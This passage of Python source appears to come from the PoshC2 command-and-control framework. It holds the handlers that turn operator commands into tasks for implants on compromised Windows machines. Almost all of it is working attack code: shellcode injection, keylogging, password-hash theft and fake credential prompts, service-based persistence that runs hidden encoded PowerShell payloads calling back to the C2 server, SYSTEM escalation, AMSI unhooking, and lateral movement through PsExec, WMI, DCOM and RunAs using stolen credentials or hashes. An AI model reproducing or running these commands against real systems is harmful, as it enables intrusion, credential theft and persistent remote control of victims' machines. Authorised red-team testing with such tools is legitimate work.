            traceback.print_exc()

    elif command.startswith("unhide-implant"):
        unhide_implant(randomuri)

    elif command.startswith("hide-implant"):
        kill_implant(randomuri)

    elif command.startswith("inject-shellcode"):
        params = re.compile("inject-shellcode", re.IGNORECASE)
        params = params.sub("", command)
        path = shellcodereadfile_with_completion(
            "Location of shellcode file: ")
        try:
            shellcodefile = load_file(path)
            if shellcodefile is not None:
                new_task(
                    "run-exe Core.Program Core Inject-Shellcode %s%s #%s" %
                    (base64.b64encode(shellcodefile).decode("utf-8"), params,
                     os.path.basename(path)), user, randomuri)
        except Exception as e:
            print("Error loading file: %s" % e)

    elif command.startswith("migrate"):
        params = re.compile("migrate", re.IGNORECASE)
        params = params.sub("", command)
        migrate(randomuri, user, params)

    elif command == "kill-implant" or command == "exit":
        impid = get_implantdetails(randomuri)
        ri = input(
            "Are you sure you want to terminate the implant ID %s? (Y/n) " %
            impid[0])
        if ri.lower() == "n":
            print("Implant not terminated")
        if ri == "":
            new_task("exit", user, randomuri)
            kill_implant(randomuri)
        if ri.lower() == "y":
            new_task("exit", user, randomuri)
            kill_implant(randomuri)

    elif command == "sharpsocks":
        from random import choice
        allchar = string.ascii_letters
        channel = "".join(choice(allchar) for x in range(25))
        sharpkey = gen_key().decode("utf-8")
        sharpurls = get_sharpurls()
        sharpurls = sharpurls.split(",")
        sharpurl = select_item("HostnameIP", "C2Server")
        print(
            POSHDIR +
            "SharpSocks/SharpSocksServerCore -c=%s -k=%s --verbose -l=%s\r\n" %
            (channel, sharpkey, SocksHost) + Colours.GREEN)
        ri = input(
            "Are you ready to start the SharpSocks in the implant? (Y/n) ")
        if ri.lower() == "n":
            print("")
        if ri == "":
            new_task(
                "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken"
                % (sharpurl, channel, sharpkey, sharpurls[0].replace(
                    "\"", ""), sharpurls[1].replace("\"", "")), user,
                randomuri)
        if ri.lower() == "y":
            new_task(
                "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken"
                % (sharpurl, channel, sharpkey, sharpurls[0].replace(
                    "\"", ""), sharpurls[1].replace("\"", "")), user,
                randomuri)

    elif (command.startswith("stop-keystrokes")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("get-keystrokes")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("get-screenshotmulti")):
        new_task(command, user, randomuri)

    elif (command.startswith("create-lnk")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("create-startuplnk")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("get-screenshot")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("get-hash")):
        check_module_loaded("InternalMonologue.exe", randomuri, user)
        new_task("run-exe InternalMonologue.Program InternalMonologue", user,
                 randomuri)

    elif (command.startswith("arpscan")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("testadcredential")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("testlocalcredential")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("turtle")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("get-userinfo")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("get-content")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("resolvednsname")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("resolveip")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("cred-popper")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("get-serviceperms")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("copy ")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("move ")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif (command.startswith("delete ")):
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif command == "ls":
        new_task("run-exe Core.Program Core %s" % command, user, randomuri)

    elif command == "pwd":
        new_task("run-exe Core.Program Core pwd", user, randomuri)

    elif command == "ps":
        new_task("run-exe Core.Program Core Get-ProcessList", user, randomuri)

    elif command.startswith("loadmoduleforce"):
        params = re.compile("loadmoduleforce ", re.IGNORECASE)
        params = params.sub("", command)
        check_module_loaded(params, randomuri, user, force=True)

    elif command.startswith("loadmodule"):
        params = re.compile("loadmodule ", re.IGNORECASE)
        params = params.sub("", command)
        check_module_loaded(params, randomuri, user)

    elif command.startswith("listmodules"):
        modules = os.listdir("%s/Modules/" % POSHDIR)
        print("")
        print("[+] Available modules:")
        print("")
        for mod in modules:
            if (".exe" in mod) or (".dll" in mod):
                print(mod)
        new_task(command, user, randomuri)

    elif command.startswith("modulesloaded"):
        ml = get_implantdetails(randomuri)
        print(ml[14])

    elif command == "help" or command == "?":
        print(sharp_help1)

    elif command == "back" or command == "clear":
        startup(user)

    elif command.startswith("beacon") or command.startswith(
            "set-beacon") or command.startswith("setbeacon"):
        new_sleep = command.replace('set-beacon ', '')
        new_sleep = new_sleep.replace('setbeacon ', '')
        new_sleep = new_sleep.replace('beacon ', '').strip()
        if not validate_sleep_time(new_sleep):
            print(Colours.RED)
            print(
                "Invalid sleep command, please specify a time such as 50s, 10m or 1h"
            )
            print(Colours.GREEN)
        else:
            new_task(command, user, randomuri)
            update_sleep(new_sleep, randomuri)

    elif (command.startswith('label-implant')):
        label = command.replace('label-implant ', '')
        update_label(label, randomuri)
        startup(user)

    else:
        if command:
            new_task(original_command, user, randomuri)
        return
Example #5
0
def handle_ps_command(command, user, randomuri, startup, createdaisypayload,
                      createproxypayload, implant_id, commandloop):

    try:
        check_module_loaded("Stage2-Core.ps1", randomuri, user)
    except Exception as e:
        print("Error loading Stage2-Core.ps1: %s" % e)

    # alias mapping
    for alias in ps_alias:
        if command.startswith(alias[0]):
            command.replace(alias[0], alias[1])

    command = command.strip()

    run_autoloads(command, randomuri, user)

    # opsec failures
    for opsec in ps_opsec:
        if opsec == command[:len(opsec)]:
            print(Colours.RED)
            print("**OPSEC Warning**")
            impid = get_implantdetails(randomuri)
            ri = input("Do you want to continue running - %s? (y/N) " %
                       command)
            if ri.lower() == "n":
                command = ""
            if ri == "":
                command = ""
            break

    if command.startswith("beacon") or command.startswith(
            "set-beacon") or command.startswith("setbeacon"):
        new_sleep = command.replace('set-beacon ', '')
        new_sleep = new_sleep.replace('setbeacon ', '')
        new_sleep = new_sleep.replace('beacon ', '').strip()
        if not validate_sleep_time(new_sleep):
            print(Colours.RED)
            print(
                "Invalid sleep command, please specify a time such as 50s, 10m or 1h"
            )
            print(Colours.GREEN)
        else:
            new_task(command, user, randomuri)
            update_sleep(new_sleep, randomuri)
    elif command.startswith("unhook-amsi"):
        new_task("unhook", user, randomuri)
    elif command.startswith("searchhelp"):
        searchterm = (command).replace("searchhelp ", "")
        helpful = posh_help.split('\n')
        for line in helpful:
            if searchterm in line.lower():
                print(Colours.GREEN + line)

    elif (command == "back") or (command == "clear"):
        startup(user)

    elif command.startswith("install-servicelevel-persistencewithproxy"):
        C2 = get_c2server_all()
        if C2[11] == "":
            startup(user, "Need to run createproxypayload first")
        else:
            newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
                                  C2[13], C2[11], "", "", C2[19], C2[20],
                                  C2[21], "%s?p" % get_newimplanturl(),
                                  PayloadsDirectory)
            payload = newPayload.CreateRawBase()
            cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (
                payload)
            new_task(cmd, user, randomuri)

    elif command.startswith("install-servicelevel-persistence"):
        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "",
                              "", "", C2[19], C2[20], C2[21],
                              get_newimplanturl(), PayloadsDirectory)
        payload = newPayload.CreateRawBase()
        cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (
            payload)
        new_task(cmd, user, randomuri)

    elif command.startswith("remove-servicelevel-persistence"):
        new_task("sc.exe delete CPUpdater", user, randomuri)

    # psexec lateral movement
    elif command.startswith("get-implantworkingdirectory"):
        new_task("pwd", user, randomuri)

    elif command.startswith("get-system-withproxy"):
        C2 = get_c2server_all()
        if C2[11] == "":
            startup(user, "Need to run createproxypayload first")
        else:
            newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
                                  C2[13], C2[11], "", "", C2[19], C2[20],
                                  C2[21], "%s?p" % get_newimplanturl(),
                                  PayloadsDirectory)
            payload = newPayload.CreateRawBase()
            cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload
            new_task(cmd, user, randomuri)
            cmd = "sc.exe start CPUpdaterMisc"
            new_task(cmd, user, randomuri)
            cmd = "sc.exe delete CPUpdaterMisc"
            new_task(cmd, user, randomuri)

    elif command.startswith("get-system-withdaisy"):
        C2 = get_c2server_all()
        daisyname = input("Payload name required: ")
        if os.path.isfile(
            ("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
            with open("%s%spayload.bat" % (PayloadsDirectory, daisyname),
                      "r") as p:
                payload = p.read()
            cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c %s' Displayname= CheckpointServiceModule start= auto" % payload
            new_task(cmd, user, randomuri)
            cmd = "sc.exe start CPUpdaterMisc"
            new_task(cmd, user, randomuri)
            cmd = "sc.exe delete CPUpdaterMisc"
            new_task(cmd, user, randomuri)

    elif command.startswith("get-system"):
        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "",
                              "", "", C2[19], C2[20], C2[21],
                              get_newimplanturl(), PayloadsDirectory)
        payload = newPayload.CreateRawBase()
        cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload
        new_task(cmd, user, randomuri)
        cmd = "sc.exe start CPUpdaterMisc"
        new_task(cmd, user, randomuri)
        cmd = "sc.exe delete CPUpdaterMisc"
        new_task(cmd, user, randomuri)

    elif command == "quit":
        ri = input("Are you sure you want to quit? (Y/n) ")
        if ri.lower() == "n":
            startup(user)
        if ri == "" or ri.lower() == "y":
            new_c2_message("%s logged off." % user)
            sys.exit(0)

    elif command.startswith("invoke-psexec ") or command.startswith(
            "invoke-smbexec "):
        check_module_loaded("Invoke-SMBExec.ps1", randomuri, user)
        params = re.compile("invoke-smbexec |invoke-psexec ", re.IGNORECASE)
        params = params.sub("", command)
        if "-credid" in params:
            creds, params = get_creds(params, startup, user)
            if creds['Password']:
                params = params + "-domain %s -username %s -pass %s" % (
                    creds['Domain'], creds['Username'], creds['Password'])
            else:
                params = params + "-domain %s -username %s -hash %s" % (
                    creds['Domain'], creds['Username'], creds['Hash'])
        cmd = "invoke-smbexec %s" % params
        new_task(cmd, user, randomuri)

    elif command.startswith("invoke-psexecproxypayload"):
        check_module_loaded("Invoke-PsExec.ps1", randomuri, user)
        if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))):
            with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"),
                      "r") as p:
                payload = p.read()
            params = re.compile("invoke-psexecproxypayload ", re.IGNORECASE)
            params = params.sub("", command)
            if "-credid" in params:
                creds, params = get_creds(params, startup, user)
                if creds['Password']:
                    params = params + "-domain %s -username %s -pass %s" % (
                        creds['Domain'], creds['Username'], creds['Password'])
                else:
                    params = params + "-domain %s -username %s -hash %s" % (
                        creds['Domain'], creds['Username'], creds['Hash'])
            cmd = "invoke-psexec %s -command \"%s\"" % (params, payload)
            new_task(cmd, user, randomuri)
        else:
            startup(user, "Need to run createproxypayload first")

    elif command.startswith("invoke-psexecdaisypayload"):
        check_module_loaded("Invoke-PsExec.ps1", randomuri, user)
        daisyname = input("Payload name required: ")
        if os.path.isfile(
            ("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
            with open("%s%spayload.bat" % (PayloadsDirectory, daisyname),
                      "r") as p:
                payload = p.read()
            params = re.compile("invoke-psexecdaisypayload ", re.IGNORECASE)
            params = params.sub("", command)
            if "-credid" in params:
                creds, params = get_creds(params, startup, user)
                if creds['Password']:
                    params = params + "-domain %s -username %s -pass %s" % (
                        creds['Domain'], creds['Username'], creds['Password'])
                else:
                    params = params + "-domain %s -username %s -hash %s" % (
                        creds['Domain'], creds['Username'], creds['Hash'])
            cmd = "invoke-psexec %s -command \"%s\"" % (params, payload)
            new_task(cmd, user, randomuri)
        else:
            startup(user, "Need to run createdaisypayload first")

    elif command.startswith("invoke-psexecpayload"):
        check_module_loaded("Invoke-PsExec.ps1", randomuri, user)
        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "",
                              "", "", C2[19], C2[20], C2[21],
                              get_newimplanturl(), PayloadsDirectory)
        payload = newPayload.CreateRawBase()
        params = re.compile("invoke-psexecpayload ", re.IGNORECASE)
        params = params.sub("", command)
        if "-credid" in params:
            creds, params = get_creds(params, startup, user)
            if creds['Password']:
                params = params + "-domain %s -username %s -pass %s" % (
                    creds['Domain'], creds['Username'], creds['Password'])
            else:
                params = params + "-domain %s -username %s -hash %s" % (
                    creds['Domain'], creds['Username'], creds['Hash'])
        cmd = "invoke-psexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (
            params, payload)
        new_task(cmd, user, randomuri)

    # wmi lateral movement
    elif command.startswith("invoke-wmiexec "):
        check_module_loaded("Invoke-WMIExec.ps1", randomuri, user)
        params = re.compile("invoke-wmiexec ", re.IGNORECASE)
        params = params.sub("", command)
        if "-credid" in params:
            creds, params = get_creds(params, startup, user)
            if creds['Password']:
                params = params + "-domain %s -user %s -pass %s" % (
                    creds['Domain'], creds['Username'], creds['Password'])
            else:
                params = params + "-domain %s -user %s -hash %s" % (
                    creds['Domain'], creds['Username'], creds['Hash'])
        cmd = "invoke-wmiexec %s" % params
        new_task(cmd, user, randomuri)

    elif command.startswith("invoke-wmijspbindpayload"):
        check_module_loaded("New-JScriptShell.ps1", randomuri, user)
        with open("%s%sDotNet2JS_PBind.b64" % (PayloadsDirectory, ""),
                  "r") as p:
            payload = p.read()
        params = re.compile("invoke-wmijspbindpayload ", re.IGNORECASE)
        params = params.sub("", command)
        new_task(
            "$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS_PBind.b64" %
                                         (PayloadsDirectory, "")), user,
            randomuri)
        cmd = "new-jscriptshell %s -payload $Shellcode64" % (params)
        new_task(cmd, user, randomuri)
        target = re.search("(?<=-target )\\S*", str(cmd), re.IGNORECASE)
        C2 = get_c2server_all()
        print()
        print("To connect to the SMB named pipe use the following command:")
        print(
            Colours.GREEN +
            "invoke-pbind -target %s -secret mtkn4 -key %s -pname jaccdpqnvbrrxlaf -client"
            % (target[0], C2[2]) + Colours.END)
        print()
        print(
            "To issue commands to the SMB named pipe use the following command:"
        )
        print(Colours.GREEN + "pbind-command \"pwd\"" + Colours.END)
        print()
        print(
            "To load modules to the SMB named pipe use the following command:")
        print(Colours.GREEN + "pbind-loadmodule Invoke-Mimikatz.ps1" +
              Colours.END)
        print()
        print("To kill the SMB named pipe use the following command:")
        print(Colours.GREEN + "pbind-kill" + Colours.END)

    elif command.startswith("invoke-wmijsproxypayload"):
        check_module_loaded("New-JScriptShell.ps1", randomuri, user)
        if os.path.isfile(
            ("%s%sDotNet2JS.b64" % (PayloadsDirectory, "Proxy"))):
            with open("%s%sDotNet2JS.b64" % (PayloadsDirectory, "Proxy"),
                      "r") as p:
                payload = p.read()
            params = re.compile("invoke-wmijsproxypayload ", re.IGNORECASE)
            params = params.sub("", command)
            new_task(
                "$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS.b64" %
                                             (PayloadsDirectory, "Proxy")),
                user, randomuri)
            cmd = "new-jscriptshell %s -payload $Shellcode64" % (params)
            new_task(cmd, user, randomuri)
        else:
            startup(user, "Need to run createproxypayload first")

    elif command.startswith("invoke-wmijsdaisypayload"):
        check_module_loaded("New-JScriptShell.ps1", randomuri, user)
        daisyname = input("Name required: ")
        if os.path.isfile(
            ("%s%sDotNet2JS.b64" % (PayloadsDirectory, daisyname))):
            with open("%s%sDotNet2JS.b64" % (PayloadsDirectory, daisyname),
                      "r") as p:
                payload = p.read()
            params = re.compile("invoke-wmijsdaisypayload ", re.IGNORECASE)
            params = params.sub("", command)
            new_task(
                "$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS.b64" %
                                             (PayloadsDirectory, daisyname)),
                user, randomuri)
            cmd = "new-jscriptshell %s -payload $Shellcode64" % (params)
            new_task(cmd, user, randomuri)
        else:
            startup(user, "Need to run createdaisypayload first")

    elif command.startswith("invoke-wmijspayload"):
        check_module_loaded("New-JScriptShell.ps1", randomuri, user)
        with open("%s%sDotNet2JS.b64" % (PayloadsDirectory, ""), "r") as p:
            payload = p.read()
        params = re.compile("invoke-wmijspayload ", re.IGNORECASE)
        params = params.sub("", command)
        if "-credid" in command:
            p = re.compile(r"-credid (\w*)")
            credId = re.search(p, command)
            if credId:
                credId = credId.group(1)
            else:
                startup(user, "Please specify a credid")
            creds = get_cred_by_id(credId)
            if creds is None:
                startup(user, "Unrecognised CredID: %s" % credId)
            params = params.replace("-credid %s" % credId, "")
            params = params + "-domain %s -user %s -pass %s" % (
                creds['Domain'], creds['Username'], creds['Password'])
        new_task(
            "$Shellcode64=\"%s\" #%s" % (payload, "%s%sDotNet2JS.b64" %
                                         (PayloadsDirectory, "")), user,
            randomuri)
        cmd = "new-jscriptshell %s -payload $Shellcode64" % (params)
        new_task(cmd, user, randomuri)

    elif command.startswith("invoke-wmiproxypayload"):
        check_module_loaded("Invoke-WMIExec.ps1", randomuri, user)
        if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))):
            with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"),
                      "r") as p:
                payload = p.read()
            params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE)
            params = params.sub("", command)
            if "-credid" in params:
                creds, params = get_creds(params, startup, user)
                if creds['Password']:
                    params = params + "-domain %s -user %s -pass %s" % (
                        creds['Domain'], creds['Username'], creds['Password'])
                else:
                    params = params + "-domain %s -user %s -hash %s" % (
                        creds['Domain'], creds['Username'], creds['Hash'])
            cmd = "invoke-wmiexec %s -command \"%s\"" % (params, payload)
            new_task(cmd, user, randomuri)
        else:
            startup(user, "Need to run createproxypayload first")

    elif command.startswith("invoke-wmidaisypayload"):
        check_module_loaded("Invoke-WMIExec.ps1", randomuri, user)
        daisyname = input("Name required: ")
        if os.path.isfile(
            ("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
            with open("%s%spayload.bat" % (PayloadsDirectory, daisyname),
                      "r") as p:
                payload = p.read()
            params = re.compile("invoke-wmidaisypayload ", re.IGNORECASE)
            params = params.sub("", command)
            if "-credid" in params:
                creds, params = get_creds(params, startup, user)
                if creds['Password']:
                    params = params + "-domain %s -user %s -pass %s" % (
                        creds['Domain'], creds['Username'], creds['Password'])
                else:
                    params = params + "-domain %s -user %s -hash %s" % (
                        creds['Domain'], creds['Username'], creds['Hash'])
            cmd = "invoke-wmiexec %s -command \"%s\"" % (params, payload)
            new_task(cmd, user, randomuri)
        else:
            startup(user, "Need to run createdaisypayload first")

    elif command.startswith("invoke-wmipayload"):
        check_module_loaded("Invoke-WMIExec.ps1", randomuri, user)
        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "",
                              "", "", C2[19], C2[20], C2[21],
                              get_newimplanturl(), PayloadsDirectory)
        payload = newPayload.CreateRawBase()
        params = re.compile("invoke-wmipayload ", re.IGNORECASE)
        params = params.sub("", command)
        if "-credid" in params:
            creds, params = get_creds(params, startup, user)
            if creds['Password']:
                params = params + "-domain %s -user %s -pass %s" % (
                    creds['Domain'], creds['Username'], creds['Password'])
            else:
                params = params + "-domain %s -user %s -hash %s" % (
                    creds['Domain'], creds['Username'], creds['Hash'])
        cmd = "invoke-wmiexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (
            params, payload)
        new_task(cmd, user, randomuri)

    # dcom lateral movement
    elif command.startswith("invoke-dcomproxypayload"):
        if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))):
            with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"),
                      "r") as p:
                payload = p.read()
            params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE)
            params = params.sub("", command)
            if "-credid" in params:
                creds, params = get_creds(params, startup, user)
                if creds['Password']:
                    params = params + "-domain %s -user %s -pass %s" % (
                        creds['Domain'], creds['Username'], creds['Password'])
                else:
                    params = params + "-domain %s -user %s -hash %s" % (
                        creds['Domain'], creds['Username'], creds['Hash'])
            p = re.compile(r'(?<=-target.).*')
            target = re.search(p, command).group()
            pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c %s\",\"7\")" % (
                target, payload)
            new_task(pscommand, user, randomuri)
        else:
            startup(user, "Need to run createproxypayload first")

    elif command.startswith("invoke-dcomdaisypayload"):
        daisyname = input("Name required: ")
        if os.path.isfile(
            ("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
            with open("%s%spayload.bat" % (PayloadsDirectory, daisyname),
                      "r") as p:
                payload = p.read()
            p = re.compile(r'(?<=-target.).*')
            target = re.search(p, command).group()
            pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (
                target, payload)
            new_task(pscommand, user, randomuri)
        else:
            startup(user, "Need to run createdaisypayload first")

    elif command.startswith("invoke-dcompayload"):
        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "",
                              "", "", C2[19], C2[20], C2[21],
                              get_newimplanturl(), PayloadsDirectory)
        payload = newPayload.CreateRawBase()
        p = re.compile(r'(?<=-target.).*')
        target = re.search(p, command).group()
        pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (
            target, payload)
        new_task(pscommand, user, randomuri)

    # runas payloads
    elif command.startswith("invoke-runas "):
        check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
        params = re.compile("invoke-runas ", re.IGNORECASE)
        params = params.sub("", command)
        if "-credid" in params:
            creds, params = get_creds(params, startup, user)
            if creds['Password']:
                params = params + "-domain %s -user %s -pass %s" % (
                    creds['Domain'], creds['Username'], creds['Password'])
            else:
                startup(user,
                        "invoke-runas does not support hash authentication")

        cmd = "invoke-runas %s" % params
        new_task(cmd, user, randomuri)

    elif command.startswith("invoke-runasdaisypayload"):
        daisyname = input("Name required: ")
        if os.path.isfile(
            ("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
            with open("%s%spayload.bat" % (PayloadsDirectory, daisyname),
                      "r") as p:
                payload = p.read()
            new_task("$proxypayload = \"%s\"" % payload, user, randomuri)
            check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
            check_module_loaded("NamedPipeDaisy.ps1", randomuri, user)
            params = re.compile("invoke-runasdaisypayload ", re.IGNORECASE)
            params = params.sub("", command)
            if "-credid" in params:
                creds, params = get_creds(params, startup, user)
                if creds['Password']:
                    params = params + "-domain %s -user %s -pass %s" % (
                        creds['Domain'], creds['Username'], creds['Password'])
                else:
                    startup(
                        user,
                        "invoke-runas does not support hash authentication")
            pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSDaisy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
            pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (
                params, base64.b64encode(
                    pipe.encode('UTF-16LE')).decode("utf-8"))
            new_task(pscommand, user, randomuri)
        else:
            startup(user, "Need to run createdaisypayload first")

    elif command.startswith("invoke-runasproxypayload"):
        C2 = get_c2server_all()
        if C2[11] == "":
            startup(user, "Need to run createproxypayload first")
        else:
            newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
                                  C2[13], C2[11], "", "", C2[19], C2[20],
                                  C2[21], "%s?p" % get_newimplanturl(),
                                  PayloadsDirectory)
            payload = newPayload.CreateRawBase()
            proxyvar = "$proxypayload = \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % payload
            new_task(proxyvar, user, randomuri)
            check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
            check_module_loaded("NamedPipeProxy.ps1", randomuri, user)
            params = re.compile("invoke-runasproxypayload ", re.IGNORECASE)
            params = params.sub("", command)
            if "-credid" in params:
                creds, params = get_creds(params, startup, user)
                if creds['Password']:
                    params = params + "-domain %s -user %s -pass %s" % (
                        creds['Domain'], creds['Username'], creds['Password'])
                else:
                    startup(
                        user,
                        "invoke-runas does not support hash authentication")
            pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSProxy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
            pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (
                params, base64.b64encode(
                    pipe.encode('UTF-16LE')).decode("utf-8"))
            new_task(pscommand, user, randomuri)

    elif command.startswith("invoke-runaspayload"):
        check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
        check_module_loaded("NamedPipe.ps1", randomuri, user)
        params = re.compile("invoke-runaspayload ", re.IGNORECASE)
        params = params.sub("", command)
        if "-credid" in params:
            creds, params = get_creds(params, startup, user)
            if creds['Password']:
                params = params + "-domain %s -user %s -pass %s" % (
                    creds['Domain'], creds['Username'], creds['Password'])
            else:
                startup(user,
                        "invoke-runas does not support hash authentication")
        pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMS'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
        pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (
            params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8"))
        new_task(pscommand, user, randomuri)

    elif command == "help" or command == "?":
        print(posh_help)
    elif command == "help 1":
        print(posh_help1)
    elif command == "help 2":
        print(posh_help2)
    elif command == "help 3":
        print(posh_help3)
    elif command == "help 4":
        print(posh_help4)
    elif command == "help 5":
        print(posh_help5)
    elif command == "help 6":
        print(posh_help6)
    elif command == "help 7":
        print(posh_help7)
    elif command == "help 8":
        print(posh_help8)

    elif command.startswith("get-pid"):
        pid = get_implantdetails(randomuri)
        print(pid[8])

    elif command.startswith("upload-file"):
        source = ""
        destination = ""
        s = ""
        nothidden = False
        if command == "upload-file":
            check_module_loaded("Inject-Shellcode.ps1", randomuri, user)
            style = Style.from_dict({
                '': '#80d130',
            })
            session = PromptSession(history=FileHistory('%s/.upload-history' %
                                                        ROOTDIR),
                                    auto_suggest=AutoSuggestFromHistory(),
                                    style=style)
            try:
                source = session.prompt("Location file to upload: ",
                                        completer=FilePathCompleter(
                                            PayloadsDirectory, glob="*"))
                source = PayloadsDirectory + source
            except KeyboardInterrupt:
                commandloop(implant_id, user)
            while not os.path.isfile(source):
                print("File does not exist: %s" % source)
                source = session.prompt("Location file to upload: ",
                                        completer=FilePathCompleter(
                                            PayloadsDirectory, glob="*"))
                source = PayloadsDirectory + source
            destination = session.prompt("Location to upload to: ")
        else:
            args = argp(command)
            source = args.source
            destination = args.destination
            nothidden = args.nothidden
        try:
            with open(source, "rb") as source_file:
                s = source_file.read()
            if s:
                sourceb64 = base64.b64encode(s).decode("utf-8")
                destination = destination.replace("\\", "\\\\")
                print("")
                print("Uploading %s to %s" % (source, destination))
                if (nothidden):
                    uploadcommand = "Upload-File -Destination \"%s\" -NotHidden %s -Base64 %s" % (
                        destination, nothidden, sourceb64)
                else:
                    uploadcommand = "Upload-File -Destination \"%s\" -Base64 %s" % (
                        destination, sourceb64)
                new_task(uploadcommand, user, randomuri)
            else:
                print("Source file could not be read or was empty")
        except Exception as e:
            print("Error with source file: %s" % e)
            traceback.print_exc()

    elif command == "kill-implant" or command == "exit":
        impid = get_implantdetails(randomuri)
        ri = input(
            "Are you sure you want to terminate the implant ID %s? (Y/n) " %
            impid[0])
        if ri.lower() == "n":
            print("Implant not terminated")
        if ri == "":
            new_task("exit", user, randomuri)
            kill_implant(randomuri)
        if ri.lower() == "y":
            new_task("exit", user, randomuri)
